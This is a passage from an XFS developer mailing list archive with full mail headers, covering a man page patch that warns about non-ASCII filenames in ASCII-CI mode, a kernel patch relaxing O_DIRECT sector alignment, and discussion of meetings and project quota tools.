DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id BD1246541634; Wed, 15 Jan 2014 09:54:01 -0600 (CST) Message-ID: <52D6AF1A.8010604@sandeen.net> Date: Wed, 15 Jan 2014 09:54:02 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , Zachary Kotlarek CC: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair References: <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> <20140115015350.GR3469@dastard> <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> <20140115034803.GT3469@dastard> <1E5E569C-2E11-42A1-A771-89D4800BC412@kotlarek.com> <20140115063722.GW3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair In-Reply-To: <20140115063722.GW3469@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389801242 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144114 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/15/14, 12:37 AM, Dave Chinner wrote: > On Tue, Jan 14, 2014 at 09:30:57PM -0800, Zachary Kotlarek wrote: >> >> On Jan 14, 2014, at 7:48 PM, Dave Chinner wrote: >> >>> It's called *ASCII* Case Insensitivity for a reason: it doesn't >>> support anything other than ASCII. So your usage is not actually >>> supported at all, hence it's no surprise that it has caused >>> breakage. >> >> Okay. Thanks for the explanation. >> >> FWIW, I read “ASCII-only case-insensitive” to mean “only case-insensitive for ASCII” as in ñ and Ñ would not match each other. If it actually means “anything other than ASCII is subject to complete breakage” a more nuanced explanation in the man page might be desirable. > > Sure. Can you write a patch to add explanation that explain the > problem you've had? > >> I don’t suppose there’s any way to disable that setting short of creating a new file system? > > Not officially. Changing it means you have to change every single > hash for every directory entry. I *think* that you could probably do > it with a bit of xfs_db magic and and xfs_repair pass. > > First, A warning, some advice and a disclaimer: back up anything you > don't want to lose, because if this screws up it'll trash the > directory structure and you may *LOSE* *ALL* *YOUR* *DATA*. This is > dangerous, not recommended and I take no responsibility for what > happens if you try it and it fails. > > After taking a backup, use xfs_metadump to set up for a > non-destructive trial run. take a copy of the filesystem metadata > using xfs_metadump: > > # xfs_metadump scratch.metadump NB: You'll want to add the "-o" option to not obfuscate filenames, or you'll probably have no idea if Dave's later steps are working or not. (I haven't read the whole thread, but is there no way for ascii-ci mode to reject non-ascii names in the first place? This seems like quite the pitfall.) -Eric From rwheeler@redhat.com Wed Jan 15 10:21:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 092E57F50 for ; Wed, 15 Jan 2014 10:21:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EED988F8037 for ; Wed, 15 Jan 2014 08:21:23 -0800 (PST) X-ASG-Debug-ID: 1389802882-04cbb04169df25a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 0Rs3hp6miqLuOwrX for ; Wed, 15 Jan 2014 08:21:23 -0800 (PST) X-Barracuda-Envelope-From: rwheeler@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0FGLJVR019041 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 15 Jan 2014 11:21:20 -0500 Received: from dhcp-186-20.bos.redhat.com ([10.18.25.82]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s0FGLJKD016934; Wed, 15 Jan 2014 11:21:19 -0500 Message-ID: <52D6B54F.6030600@redhat.com> Date: Wed, 15 Jan 2014 11:20:31 -0500 From: Ric Wheeler User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Jan Kara , "Theodore Ts'o" CC: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-btrfs Subject: Ext4 (and xfs and btrfs?) meetings around LSF References: <20140110115834.GK26378@quack.suse.cz> <20140111180520.GA1557@thunk.org> <20140113054528.GA3837@quack.suse.cz> X-ASG-Orig-Subj: Ext4 (and xfs and btrfs?) meetings around LSF In-Reply-To: <20140113054528.GA3837@quack.suse.cz> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389802882 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/13/2014 12:45 AM, Jan Kara wrote: > Hello, > > On Sat 11-01-14 13:05:20, Ted Tso wrote: >> On Fri, Jan 10, 2014 at 12:58:34PM +0100, Jan Kara wrote: >>> do you plan to organize an ext4 meeting around LSF? And do you plan it >>> during Collab summit or on Sunday before LSF? Thanks for answer in advance. >> Yes, the plan is to have it during the week, after the LSF during the >> Collab Summit. >> >> We'd love to have you there! > Yeah, I'm planning the travel so I was asking before booking plane > tickets. I want to take part in the meeting. > > Honza Taking time to do this for ext4 (and xfs and btrfs) during the collab summit would be great. I would definitely push to get our Red Hat people there. Thanks! Ric From profplump@vera.uberzach.com Wed Jan 15 11:23:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8061329DF8 for ; Wed, 15 Jan 2014 11:23:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 116AAAC007 for ; Wed, 15 Jan 2014 09:23:10 -0800 (PST) X-ASG-Debug-ID: 1389806588-04cb6c537ede17b0001-NocioJ Received: from vera.uberzach.com (vera.uberzach.com [74.93.97.68]) by cuda.sgi.com with ESMTP id b0EnOwS45xzM556z (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 15 Jan 2014 09:23:09 -0800 (PST) X-Barracuda-Envelope-From: profplump@vera.uberzach.com X-Barracuda-Apparent-Source-IP: 74.93.97.68 Received: by vera.uberzach.com (Postfix, from userid 1000) id A1E6178004; Wed, 15 Jan 2014 17:23:07 +0000 (UTC) From: Zachary Kotlarek To: xfs@oss.sgi.com Subject: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Date: Wed, 15 Jan 2014 09:23:01 -0800 X-ASG-Orig-Subj: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Message-Id: <1389806582-26815-1-git-send-email-zach@kotlarek.com> X-Mailer: git-send-email 1.7.2.3 X-Barracuda-Connect: vera.uberzach.com[74.93.97.68] X-Barracuda-Start-Time: 1389806589 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144115 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Correct the typo noted by sgosse@sgi.com From profplump@vera.uberzach.com Wed Jan 15 11:23:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D27CD29DF8 for ; Wed, 15 Jan 2014 11:23:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D017D8F8033 for ; Wed, 15 Jan 2014 09:23:11 -0800 (PST) X-ASG-Debug-ID: 1389806590-04cb6c537ede17c0001-NocioJ Received: from vera.uberzach.com (vera.uberzach.com [74.93.97.68]) by cuda.sgi.com with ESMTP id 0goSVQvFGt6oWWIW (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 15 Jan 2014 09:23:10 -0800 (PST) X-Barracuda-Envelope-From: profplump@vera.uberzach.com X-Barracuda-Apparent-Source-IP: 74.93.97.68 Received: by vera.uberzach.com (Postfix, from userid 1000) id 3775178004; Wed, 15 Jan 2014 17:23:10 +0000 (UTC) From: Zachary Kotlarek To: xfs@oss.sgi.com Cc: Zachary Kotlarek Subject: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Date: Wed, 15 Jan 2014 09:23:02 -0800 X-ASG-Orig-Subj: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Message-Id: <1389806582-26815-2-git-send-email-zach@kotlarek.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1389806582-26815-1-git-send-email-zach@kotlarek.com> References: <1389806582-26815-1-git-send-email-zach@kotlarek.com> X-Barracuda-Connect: vera.uberzach.com[74.93.97.68] X-Barracuda-Start-Time: 1389806590 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144115 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --- man/man8/mkfs.xfs.8 | 6 ++++-- 1 files changed, 4 insertions(+), 2 deletions(-) diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 index 8184e10..e1c5cf7 100644 --- a/man/man8/mkfs.xfs.8 +++ b/man/man8/mkfs.xfs.8 @@ -513,9 +513,11 @@ any power of 2 size from the filesystem block size up to 65536. .IP The .B version=ci -option enables ASCII only case-insensitive filename lookup and version +option enables ASCII-only case-insensitive filename lookup and version 2 directories. Filenames are case-preserving, that is, the names -are stored in directories using the case they were created with. +are stored in directories using the case they were created with. In this +mode non-ASCII file and directory names are not supported and are likely +to become inaccessible if used. .IP Note: Version 1 directories are not supported. .TP -- 1.7.2.3 From sgosse@sgi.com Wed Jan 15 11:31:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 507A429DF8 for ; Wed, 15 Jan 2014 11:31:35 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay1.corp.sgi.com (Postfix) with ESMTP id 49DE28F8040; Wed, 15 Jan 2014 09:31:35 -0800 (PST) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.247]) by pv-excas2-dc21.corp.sgi.com ([137.38.106.9]) with mapi id 14.03.0123.003; Wed, 15 Jan 2014 11:31:34 -0600 From: Shaun Gosse To: Zachary Kotlarek , "xfs@oss.sgi.com" Subject: RE: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Thread-Topic: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Thread-Index: AQHPEhZ7LO0rX43GOUW7EJuCpPsNWZqGbUsA//+dZBA= Date: Wed, 15 Jan 2014 17:31:34 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708644AA855@P-EXMB2-DC21.corp.sgi.com> References: <1389806582-26815-1-git-send-email-zach@kotlarek.com> <1389806582-26815-2-git-send-email-zach@kotlarek.com> In-Reply-To: <1389806582-26815-2-git-send-email-zach@kotlarek.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [128.162.232.152] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Looks good. Reviewed-by: Shaun Gosse Thanks again, -Shaun -----Original Message----- From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of= Zachary Kotlarek Sent: Wednesday, January 15, 2014 11:23 AM To: xfs@oss.sgi.com Cc: Zachary Kotlarek Subject: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode --- man/man8/mkfs.xfs.8 | 6 ++++-- 1 files changed, 4 insertions(+), 2 deletions(-) diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 index 8184e10..e1c5c= f7 100644 --- a/man/man8/mkfs.xfs.8 +++ b/man/man8/mkfs.xfs.8 @@ -513,9 +513,11 @@ any power of 2 size from the filesystem block size up = to 65536. .IP The .B version=3Dci -option enables ASCII only case-insensitive filename lookup and version +option enables ASCII-only case-insensitive filename lookup and version 2 directories. Filenames are case-preserving, that is, the names -are stor= ed in directories using the case they were created with. +are stored in directories using the case they were created with. In=20 +this mode non-ASCII file and directory names are not supported and are=20 +likely to become inaccessible if used. .IP Note: Version 1 directories are not supported. .TP -- 1.7.2.3 _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From sandeen@redhat.com Wed Jan 15 11:59:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B28F029DF8 for ; Wed, 15 Jan 2014 11:59:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A2A68F8035 for ; Wed, 15 Jan 2014 09:59:46 -0800 (PST) X-ASG-Debug-ID: 1389808785-04cb6c537ede29b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id S0tEmvoCc92xG7JV for ; Wed, 15 Jan 2014 09:59:45 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0FHxjOC003064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 15 Jan 2014 12:59:45 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0FHxhAs014285 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Wed, 15 Jan 2014 12:59:44 -0500 Message-ID: <52D6CC91.6000408@redhat.com> Date: Wed, 15 Jan 2014 11:59:45 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389808785 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Some time ago, mkfs.xfs started picking the storage physical sector size as the default filesystem "sector size" in order to avoid RMW costs incurred by doing IOs at logical sector size alignments. However, this means that for a filesystem made with i.e. a 4k sector size on an "advanced format" 4k/512 disk, 512-byte direct IOs are no longer allowed. This means that XFS has essentially turned this AF drive into a hard 4K device, from the filesystem on up. XFS's mkfs-specified "sector size" is really just controlling the minimum size & alignment of filesystem metadata IO. There is no real need to tightly couple XFS's minimal metadata size to the minimum allowed direct IO size; XFS can continue doing metadata in optimal sizes, but still allow smaller DIOs for apps which issue them, for whatever reason. This patch adds 2 new fields to the xfs_buftarg, so that we now track 3 sizes: 1) The device logical sector size 2) The device physical sector size 3) The filesystem sector size, which is the minimum unit and alignment of IO which will be performed by metadata operations. The first is used for the minimum allowed direct IO alignment, the 2nd is used to report DIO sizes in XFS_IOC_DIOINFO (the theory being, if an app actually asks, we can give them the optimal answer, even if we allow smaller IOs), and the 3rd is used internally by the filesystem for metadata IOs. This has passed xfstests on filesystems made with 4k sectors, including when run under the patch I sent to ignore XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly tested end of block behavior on preallocated, sparse, and existing files when we do a 512 IO into a 4k file on a 4k-sector filesystem, to be sure there were no unexpected behaviors. Signed-off-by: Eric Sandeen --- NB: This depends on this patch which is in the xfs tree, but not yet upstream: xfs: simplify xfs_setsize_buftarg callchain; remove unused arg diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 9fccfb5..a89dcdf 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1599,6 +1599,7 @@ xfs_setsize_buftarg( unsigned int blocksize, unsigned int sectorsize) { + /* Set up filesystem block and sector sizes */ btp->bt_bsize = blocksize; btp->bt_sshift = ffs(sectorsize) - 1; btp->bt_smask = sectorsize - 1; @@ -1614,6 +1615,9 @@ xfs_setsize_buftarg( return EINVAL; } + /* Set up device logical & physical sector size info */ + btp->bt_lsmask = bdev_logical_block_size(btp->bt_bdev) - 1; + btp->bt_pssize = bdev_physical_block_size(btp->bt_bdev); return 0; } diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 1cf21a4..29a0db9 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -88,14 +88,28 @@ typedef unsigned int xfs_buf_flags_t; */ #define XFS_BSTATE_DISPOSE (1 << 0) /* buffer being discarded */ +/* + * The xfs_buftarg contains 3 notions of "sector size" - + * + * 1) The device logical sector size + * 2) The device physical sector size + * 3) The filesystem sector size, which is the minimum unit and + * alignment of IO which will be performed by metadata operations. + * + * The latter is specified at mkfs time, stored on-disk in the + * superblock's sb_sectsize, and is set from there. + */ + typedef struct xfs_buftarg { dev_t bt_dev; struct block_device *bt_bdev; struct backing_dev_info *bt_bdi; struct xfs_mount *bt_mount; - unsigned int bt_bsize; - unsigned int bt_sshift; - size_t bt_smask; + unsigned int bt_bsize; /* fs block size */ + unsigned int bt_sshift; /* fs sector size shift */ + size_t bt_smask; /* fs sector size mask */ + size_t bt_lsmask; /* dev logical sectsz mask */ + unsigned int bt_pssize; /* dev physical sector size */ /* LRU control structures */ struct shrinker bt_shrinker; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 52c91e1..09f9df9 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -261,7 +261,8 @@ xfs_file_aio_read( xfs_buftarg_t *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos & target->bt_smask) || (size & target->bt_smask)) { + /* DIO must be aligned to device logical sector size */ + if ((pos & target->bt_lsmask) || (size & target->bt_lsmask)) { if (pos == i_size_read(inode)) return 0; return -XFS_ERROR(EINVAL); @@ -641,9 +642,11 @@ xfs_file_dio_aio_write( struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos & target->bt_smask) || (count & target->bt_smask)) + /* DIO must be aligned to device logical sector size */ + if ((pos & target->bt_lsmask) || (count & target->bt_lsmask)) return -XFS_ERROR(EINVAL); + /* "unaligned" here means not aligned to a filesystem block */ if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) unaligned_io = 1; diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 33ad9a7..1f3431f 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1587,7 +1587,12 @@ xfs_file_ioctl( XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - da.d_mem = da.d_miniosz = 1 << target->bt_sshift; + /* + * Report device physical sector size as "optimal" minimum, + * unless blocksize is smaller than that. + */ + da.d_miniosz = min(target->bt_pssize, target->bt_bsize); + da.d_mem = da.d_miniosz; da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); if (copy_to_user(arg, &da, sizeof(da))) From adilger@dilger.ca Wed Jan 15 12:03:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6A8FC29DF8 for ; Wed, 15 Jan 2014 12:03:35 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 15EB7AC007 for ; Wed, 15 Jan 2014 10:03:31 -0800 (PST) X-ASG-Debug-ID: 1389809007-04bdf0568e2b8600001-NocioJ Received: from mail-pa0-f45.google.com (mail-pa0-f45.google.com [209.85.220.45]) by cuda.sgi.com with ESMTP id OrcEDFc3QIAvOBd8 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 15 Jan 2014 10:03:28 -0800 (PST) X-Barracuda-Envelope-From: adilger@dilger.ca X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.45 Received: by mail-pa0-f45.google.com with SMTP id ld10so1470896pab.4 for ; Wed, 15 Jan 2014 10:03:27 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=dSyTOKKVskkee75hmR4qS0KBLNjVq52vYpd2K52ZNhk=; b=cLz3jRfoQnJpX2/umZbtls/MUnYD0APHu2M6n8MR4kYQRAUk9hrZ1YAkXMxB0BI4xp NoJw7CjfJJf9gLhXLlGxmC0a97T/6tNSKA2gu0BDviEkP2mHF1M/NrEzp22OjBYJ/q6K EfjZPNajOhacYrxM2nsiW3i+tLtLXlS2X9ts0THfNxFf2+vm5LGGEeY99h9Q9cNrJoOP l9/55v9XKQ7McBMKalWXw/SGkd08mJh9I20BOR+08eDwFgiMDWDkxEcHxO7aH/aQ1QRi k94jZvsBlheMZrw21m0tFaU9w/2DlawXtgPurSYajX7PxV4q46n9o59sgY8aGJuKBDP2 WB7Q== X-Barracuda-BBL-IP: nil X-Gm-Message-State: ALoCoQkxiPWjVgSz9fxZqizfYpmMF8KsoIXweoSntKsx9OWRIB0dvMv5qFHEhvpjCUbQ8BlBw0MB X-Received: by 10.68.133.229 with SMTP id pf5mr4384265pbb.115.1389809006786; Wed, 15 Jan 2014 10:03:26 -0800 (PST) Received: from cabot-wlan.adilger.int (S0106002191d9348b.cg.shawcable.net. [96.51.76.157]) by mx.google.com with ESMTPSA id vg1sm9508722pbc.44.2014.01.15.10.03.25 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 15 Jan 2014 10:03:25 -0800 (PST) Content-Type: multipart/signed; boundary="Apple-Mail=_FD255228-C0D0-4E7D-8F9D-F4FA9F697630"; protocol="application/pgp-signature"; micalg=pgp-sha1 X-Barracuda-Apparent-Source-IP: 96.51.76.157 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: [RFC] directory quota survey on xfs From: Andreas Dilger X-ASG-Orig-Subj: Re: [RFC] directory quota survey on xfs In-Reply-To: <20140115081201.GA3820@gmail.com> Date: Wed, 15 Jan 2014 11:03:22 -0700 Cc: Dave Chinner , Ext4 Developers List , Theodore Ts'o , Dmitry Monakhov , Ben Myers , xfs@oss.sgi.com, Li Xi Message-Id: <5966C533-EF18-4804-8C83-DFBD607D9BE6@dilger.ca> References: <20131222095929.GA11444@gmail.com> <20131223014222.GC3220@dastard> <20140115081201.GA3820@gmail.com> To: Zheng Liu X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: mail-pa0-f45.google.com[209.85.220.45] X-Barracuda-Start-Time: 1389809008 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144117 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_FD255228-C0D0-4E7D-8F9D-F4FA9F697630 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii On Jan 15, 2014, at 1:12 AM, Zheng Liu wrote: > On Mon, Dec 23, 2013 at 12:42:22PM +1100, Dave Chinner wrote: >> I'd also strongly suggest that you use the XFS userspace quota API >> for managing project quotas, so that we can use the same management >> tools and tests to verify that they behave the same. Please don't >> invent a new version of the quota API to implement this - everything >> you need ifor managing project/directory quotas is already there in >> xfs_quota..... > > Frankly, I don't like this, really. Now we have quota-tool to manage > the quota in ext4. So IMHO we'd better go on using this tool because it > is natural for ext4 users. I still couldn't accept this fact that I > need to install xfsprogs for using a feature of ext4. Further, it could > make users puzzled because they use quota to control user/group quota in > ext4, but it uses xfs_quota to control project quota. It could bring > some troubles for the ext4 users who have written some scripts to manage > their machines. Please see Li Xi's recent email "Directory/Project quota supports" on the linux-ext4 list. He has already added some prototype support for project quotas to quota-tools. I think it might make sense to keep the same API as XFS for the ext4 quotas (to keep compatibility for existing XFS deployments), but add support into quota-tools so that it is usable by all filesystems. Cheers, Andreas --Apple-Mail=_FD255228-C0D0-4E7D-8F9D-F4FA9F697630 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQIVAwUBUtbNanKl2rkXzB/gAQLZChAAs615Gzxprw9+mALw7ohMsxmdFGqRfSYw czhBA9Rl82oOD2Cq9lvtGzAawE35Y3xDe4cPz+DPlq+ul5Du7VBRL0VfCYBDAg4T mBzp84iFqijD10umZzaSERXK9uFLs+MZCp6n2V5ooYgzWw+gymBnEJU7zIX+D0Vf uGOz7MxfhCcDOmvDnjgulHTTQhh0dne0wE/9DmfmCSxNZuOjzx+ESXgKT2L7xf3o pAopF7Q5ppE1M5RYyfGTkqxCAlJ7QbnAw4Mj5nXKWfFVtYeep9VmCGm++szrzkFy zUOtf3p3BmKubSyLdab4QdU+1Umc1s7+00T45DMgrR2xm8FhpRFrjX9dV61xrg0P TGs4146xwXYTxwqv4XnOWfbnLJ/B5clX+lC6ZRdyEE/pqGf9DKP0PzbP/5LVnUq+ 